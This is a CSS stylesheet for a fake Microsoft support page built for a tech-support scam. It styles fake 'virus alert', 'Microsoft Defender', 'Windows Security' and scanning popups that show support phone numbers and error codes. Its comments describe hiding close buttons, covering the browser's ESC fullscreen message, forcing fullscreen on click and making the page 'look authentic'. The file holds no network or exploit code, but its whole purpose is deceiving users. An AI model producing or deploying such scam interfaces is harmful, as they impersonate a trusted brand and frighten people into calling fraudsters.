/* Reset and Base Styles */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
  background-color: #ffffff;
  color: #323130;
  line-height: 1.6;
}

#canvas {
  display: none;
}

/* Microsoft Header */
.ms-header {
  background-color: #ffffff;
  border-bottom: 1px solid #e1dfdd;
}

.ms-nav-top {
  background-color: #f8f9fa;
  padding: 8px 0;
  font-size: 13px;
}

.ms-nav-container {
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 20px;
  display: flex;
  align-items: center;
  justify-content: space-between;
}

.ms-logo {
  display: flex;
  align-items: center;
  gap: 8px;
  font-weight: 600;
}

.ms-logo-icon {
  font-size: 20px;
  color: #0078d4;
  font-weight: bold;
}

.ms-logo-text {
  color: #323130;
}

.ms-nav-links {
  display: flex;
  gap: 32px;
}

.ms-nav-links a {
  color: #323130;
  text-decoration: none;
  font-weight: 400;
}

.ms-nav-links a:hover {
  text-decoration: underline;
}

.ms-nav-right {
  display: flex;
  align-items: center;
  gap: 24px;
  font-size: 13px;
}

.ms-nav-right span {
  color: #323130;
  cursor: pointer;
}

.ms-nav-right span:hover {
  text-decoration: underline;
}

.ms-profile-icon {
  width: 32px;
  height: 32px;
  background-color: #0078d4;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  color: white;
  font-size: 12px;
  cursor: pointer;
}

.ms-nav-secondary {
  padding: 12px 0;
}

.ms-breadcrumb {
  display: flex;
  gap: 24px;
}

.ms-breadcrumb a {
  color: #323130;
  text-decoration: none;
  font-size: 14px;
}

.ms-breadcrumb a:hover {
  text-decoration: underline;
}

/* Hero Section */
.ms-hero {
  background: linear-gradient(135deg, #0078d4 0%, #005a9e 100%);
  color: white;
  padding: 80px 0;
}

.ms-hero-content {
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 20px;
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
  align-items: center;
}

.ms-hero-left h1 {
  font-size: 48px;
  font-weight: 300;
  margin-bottom: 16px;
}

.ms-hero-left h2 {
  font-size: 24px;
  font-weight: 400;
  margin-bottom: 24px;
}

.ms-hero-left p {
  font-size: 16px;
  opacity: 0.9;
}

.ms-hero-right {
  display: flex;
  justify-content: center;
}

.ms-hero-image {
  width: 300px;
  height: 200px;
  background: url('data:image/svg+xml;charset=UTF-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 200"><rect width="300" height="200" fill="%23ffffff" opacity="0.1" rx="8"/><circle cx="150" cy="100" r="30" fill="%23ffffff" opacity="0.3"/><text x="150" y="150" text-anchor="middle" fill="%23ffffff" font-family="Arial" font-size="12">Support Illustration</text></svg>')
    center/contain no-repeat;
}

/* Products Section */
.ms-products {
  max-width: 1200px;
  margin: 0 auto;
  padding: 60px 20px;
}

.ms-products-header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  margin-bottom: 40px;
}

.ms-logo-large {
  display: flex;
  align-items: center;
  gap: 12px;
  font-size: 24px;
  font-weight: 600;
}

.ms-logo-icon-large {
  font-size: 32px;
  color: #0078d4;
  font-weight: bold;
}

.ms-expand-btn {
  background: none;
  border: 1px solid #8a8886;
  color: #323130;
  padding: 8px 16px;
  cursor: pointer;
  font-size: 14px;
  border-radius: 2px;
}

.ms-expand-btn:hover {
  background-color: #f3f2f1;
}

/* Product Grid */
.ms-product-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(120px, 1fr));
  gap: 24px;
  margin-bottom: 60px;
}

.ms-product-item {
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  padding: 20px;
  cursor: pointer;
  border-radius: 4px;
  transition: background-color 0.2s;
}

.ms-product-item:hover {
  background-color: #f3f2f1;
}

.ms-product-icon {
  width: 48px;
  height: 48px;
  border-radius: 4px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: white;
  font-weight: bold;
  font-size: 24px;
  margin-bottom: 12px;
}

.ms-product-item span {
  font-size: 14px;
  color: #323130;
}

/* Section Headers */
.ms-section-header {
  margin: 60px 0 32px 0;
}

.ms-section-header h3 {
  font-size: 20px;
  font-weight: 600;
  color: #323130;
}

/* Troubleshoot Section */
.ms-troubleshoot {
  display: flex;
  align-items: center;
  gap: 16px;
  padding: 24px;
  background-color: #f8f9fa;
  border-radius: 4px;
  cursor: pointer;
  margin-bottom: 40px;
  transition: background-color 0.2s;
}

.ms-troubleshoot:hover {
  background-color: #f3f2f1;
}

.ms-troubleshoot-icon {
  font-size: 32px;
}

.ms-troubleshoot-content h4 {
  font-size: 18px;
  color: #0078d4;
  font-weight: 600;
}

/* Responsive Design */
@media (max-width: 768px) {
  .ms-nav-container {
    flex-direction: column;
    gap: 12px;
  }

  .ms-nav-right {
    flex-wrap: wrap;
  }

  .ms-hero-content {
    grid-template-columns: 1fr;
    text-align: center;
  }

  .ms-hero-left h1 {
    font-size: 36px;
  }

  .ms-product-grid {
    grid-template-columns: repeat(auto-fit, minmax(100px, 1fr));
    gap: 16px;
  }

  .ms-products-header {
    flex-direction: column;
    gap: 16px;
    align-items: flex-start;
  }
}

/* Popup Overlays */
.popup-overlay {
  position: fixed;
  z-index: 9999;
  pointer-events: none; /* Allow clicks to pass through to trigger fullscreen */
  opacity: 0;
  transform: translateY(-20px);
  transition: all 0.5s ease-in-out;
}

.popup-overlay.show {
  opacity: 1;
  transform: translateY(0);
}

/* Virus Alert Popup (Black box - positioned to cover ESC message) */
#virus-alert-popup {
  top: 15%;
  left: 50%;
  transform: translate(-50%, -50%);
  width: 500px;
  z-index: 10001; /* Highest z-index to appear on top */
}

#virus-alert-popup.show {
  transform: translate(-50%, -50%);
}

.virus-alert-box {
  background-color: #2e2d2d;
  color: #ff4444;
  border-radius: 8px;
  box-shadow: 0 4px 20px rgba(0, 0, 0, 0.5);
  overflow: hidden;
  width: 500px;
  text-align: center;
}

.virus-alert-header {
  display: none; /* Remove the red header completely */
}

.virus-alert-title {
  font-weight: bold;
  font-size: 18px;
  color: #ff4444;
  margin-bottom: 16px;
}

.close-btn {
  display: none; /* Hide close button since header is hidden */
}

.virus-alert-content {
  padding: 30px;
  display: block;
  text-align: center;
}

.lock-icon {
  font-size: 64px;
  color: #f0f0f0;
  display: block;
  margin: 0 auto 20px auto;
}

.virus-alert-text {
  font-size: 16px;
  line-height: 1.6;
  color: #f0f0f0;
}

.support-number {
  font-size: 20px;
  font-weight: bold;
  color: #ff4444;
  margin-top: 16px;
}

/* Scanning Popup */
#scanning-popup {
  top: 120px;
  right: 24px;
  width: 250px;
}

.scanning-box {
  background-color: white;
  border: 1px solid #d1d1d1;
  border-radius: 4px;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}

.scanning-header {
  background-color: #f0f0f0;
  padding: 8px 12px;
  border-bottom: 1px solid #d1d1d1;
}

.windows-logo {
  display: flex;
  align-items: center;
  gap: 6px;
  font-size: 13px;
  color: #323130;
}

.windows-icon {
  color: #0078d4;
  font-weight: bold;
  font-size: 16px;
}

.scanning-content {
  padding: 20px;
  text-align: center;
}

.scan-icon {
  font-size: 32px;
  margin-bottom: 8px;
  color: #0078d4;
}

/* Microsoft Defender Popup (Main popup) */
#defender-popup {
  top: 150px;
  left: 50%;
  transform: translateX(-50%) translateY(-20px);
  width: 500px;
}

#defender-popup.show {
  transform: translateX(-50%) translateY(0);
}

.defender-box {
  background-color: white;
  border: 1px solid #d1d1d1;
  border-radius: 4px;
  box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
}

.defender-header {
  background-color: #f0f0f0;
  padding: 8px 12px;
  border-bottom: 1px solid #d1d1d1;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.defender-title {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 13px;
  color: #323130;
}

.defender-icon {
  color: #0078d4;
  font-size: 16px;
}

.window-controls {
  display: flex;
  gap: 2px;
}

.window-controls button {
  width: 28px;
  height: 20px;
  border: 1px solid #d1d1d1;
  background-color: #f9f9f9;
  font-size: 12px;
  cursor: pointer;
  color: #323130;
}

.window-controls button:hover {
  background-color: #e1dfdd;
}

.window-controls button:last-child:hover {
  background-color: #e81123;
  color: white;
}

.defender-content {
  padding: 24px;
}

.defender-content h3 {
  color: #0078d4;
  font-size: 18px;
  margin-bottom: 8px;
}

.error-code {
  color: #d13438;
  font-weight: bold;
  margin-bottom: 16px;
  font-size: 14px;
}

.defender-content > p {
  color: #323130;
  font-size: 13px;
  line-height: 1.4;
  margin-bottom: 20px;
}

.support-section {
  display: flex;
  align-items: center;
  gap: 12px;
  background-color: #f8f9fa;
  padding: 16px;
  border-radius: 4px;
  margin-bottom: 16px;
}

.support-icon {
  font-size: 24px;
  color: #0078d4;
}

.support-text {
  flex: 1;
}

.call-support {
  font-size: 14px;
  color: #323130;
  margin-bottom: 4px;
}

.support-link {
  font-size: 13px;
  color: #0078d4;
}

.security-badge {
  display: flex;
  align-items: center;
  gap: 6px;
  margin-bottom: 20px;
}

.windows-icon-small {
  color: #0078d4;
  font-size: 14px;
  font-weight: bold;
}

.security-text {
  font-size: 12px;
  color: #323130;
}

.action-buttons {
  display: flex;
  gap: 12px;
  justify-content: flex-end;
}

.scan-now-btn {
  background-color: #d13438;
  color: white;
  border: none;
  padding: 8px 24px;
  border-radius: 2px;
  cursor: pointer;
  font-size: 13px;
}

.scan-now-btn:hover {
  background-color: #b71c1c;
}

.scan-later-btn {
  background-color: transparent;
  color: #0078d4;
  border: 1px solid #0078d4;
  padding: 8px 24px;
  border-radius: 2px;
  cursor: pointer;
  font-size: 13px;
}

.scan-later-btn:hover {
  background-color: #f3f2f1;
}

.progress-bar-container {
  background-color: #f0f0f0;
  height: 4px;
}

.progress-bar {
  height: 100%;
  background-color: #e1dfdd;
}

.progress-fill {
  height: 100%;
  background-color: #d13438;
  width: 75%;
  transition: width 0.3s ease;
}

/* Windows Security Popup (Bottom) */
#windows-security-popup {
  bottom: 80px;
  left: 50%;
  transform: translateX(-50%) translateY(20px);
  width: 400px;
}

#windows-security-popup.show {
  transform: translateX(-50%) translateY(0);
}

.windows-security-box {
  background-color: white;
  border: 1px solid #d1d1d1;
  border-radius: 4px;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}

.windows-security-header {
  background-color: #f0f0f0;
  padding: 8px 12px;
  border-bottom: 1px solid #d1d1d1;
}

.windows-security-logo {
  display: flex;
  align-items: center;
  gap: 6px;
  font-size: 13px;
  color: #323130;
}

.windows-security-content {
  padding: 20px;
  font-size: 13px;
  line-height: 1.4;
  color: #323130;
}

.windows-security-content .support-number {
  font-size: 16px;
  font-weight: bold;
  color: #0078d4;
  margin-top: 8px;
}

/* Suspicious Site Popup (Center) */
#suspicious-site-popup {
  top: 55%;
  left: 50%;
  transform: translateX(-50%) translateY(-50%) scale(0.8);
  width: 450px;
  z-index: 10001;
}

#suspicious-site-popup.show {
  transform: translateX(-50%) translateY(-50%) scale(1);
}

.suspicious-site-box {
  background-color: white;
  border: 2px solid #e74c3c;
  border-radius: 8px;
  box-shadow: 0 4px 20px rgba(231, 76, 60, 0.3);
  overflow: hidden;
}

.suspicious-site-header {
  background: linear-gradient(135deg, #e74c3c 0%, #c0392b 100%);
  padding: 15px 20px;
  display: flex;
  align-items: center;
  gap: 12px;
}

.browser-warning-icon {
  font-size: 24px;
  filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.2));
}

.suspicious-site-title {
  color: white;
  font-size: 16px;
  font-weight: bold;
  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}

.suspicious-site-content {
  padding: 25px;
}

.warning-message {
  margin-bottom: 25px;
  line-height: 1.6;
}

.warning-message p {
  margin: 0 0 10px 0;
  color: #2c3e50;
  font-size: 14px;
}

.warning-message p:first-child {
  font-size: 16px;
  color: #e74c3c;
  font-weight: bold;
}

.warning-message strong {
  color: #c0392b;
}

.suspicious-buttons {
  display: flex;
  gap: 15px;
  justify-content: center;
}

.leave-btn,
.cancel-btn {
  padding: 12px 25px;
  border: none;
  border-radius: 5px;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  transition: all 0.2s ease;
  min-width: 120px;
}

.leave-btn {
  background: linear-gradient(135deg, #e74c3c 0%, #c0392b 100%);
  color: white;
  box-shadow: 0 3px 6px rgba(231, 76, 60, 0.3);
}

.leave-btn:hover {
  background: linear-gradient(135deg, #c0392b 0%, #a93226 100%);
  transform: translateY(-1px);
  box-shadow: 0 4px 8px rgba(231, 76, 60, 0.4);
}

.cancel-btn {
  background: #ecf0f1;
  color: #2c3e50;
  border: 1px solid #bdc3c7;
}

.cancel-btn:hover {
  background: #d5dbdb;
  border-color: #95a5a6;
}

/* Fullscreen FTC Overlay */
.ftc-overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100vw;
  height: 100vh;
  background-color: #ffffff;
  z-index: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: opacity 0.3s ease-in-out;
}

.ftc-overlay.hidden {
  opacity: 0;
  pointer-events: none;
}

.ftc-overlay.visible {
  opacity: 1;
  pointer-events: all;
}

.ftc-website-container {
  width: 100%;
  height: 100%;
  position: relative;
}

.ftc-background-image {
  width: 100%;
  height: 100%;
  /* Fallback background color if image fails to load */
  background-color: #ffffff;
  /* Multiple fallback paths for the image */
  background-image: url("image.png"), url("./image.png"), url("../image.png");
  background-size: cover;
  background-position: center;
  background-repeat: no-repeat;
  display: flex;
  align-items: center;
  justify-content: center;
  flex-direction: column;
}

.ftc-background-image::before {
  content: "";
  font-size: 48px;
  font-weight: bold;
  color: #333;
  margin-bottom: 20px;
}

.ftc-background-image::after {
  content: "";
  font-size: 18px;
  color: #666;
  text-align: center;
}

/* Ensure the page looks authentic */
#microsoft-page {
  min-height: 100vh;
  cursor: pointer;
}

/* Hide scrollbars when needed */
body::-webkit-scrollbar {
  width: 8px;
}

body::-webkit-scrollbar-track {
  background: #f1f1f1;
}

body::-webkit-scrollbar-thumb {
  background: #c1c1c1;
  border-radius: 4px;
}

body::-webkit-scrollbar-thumb:hover {
  background: #a8a8a8;
}
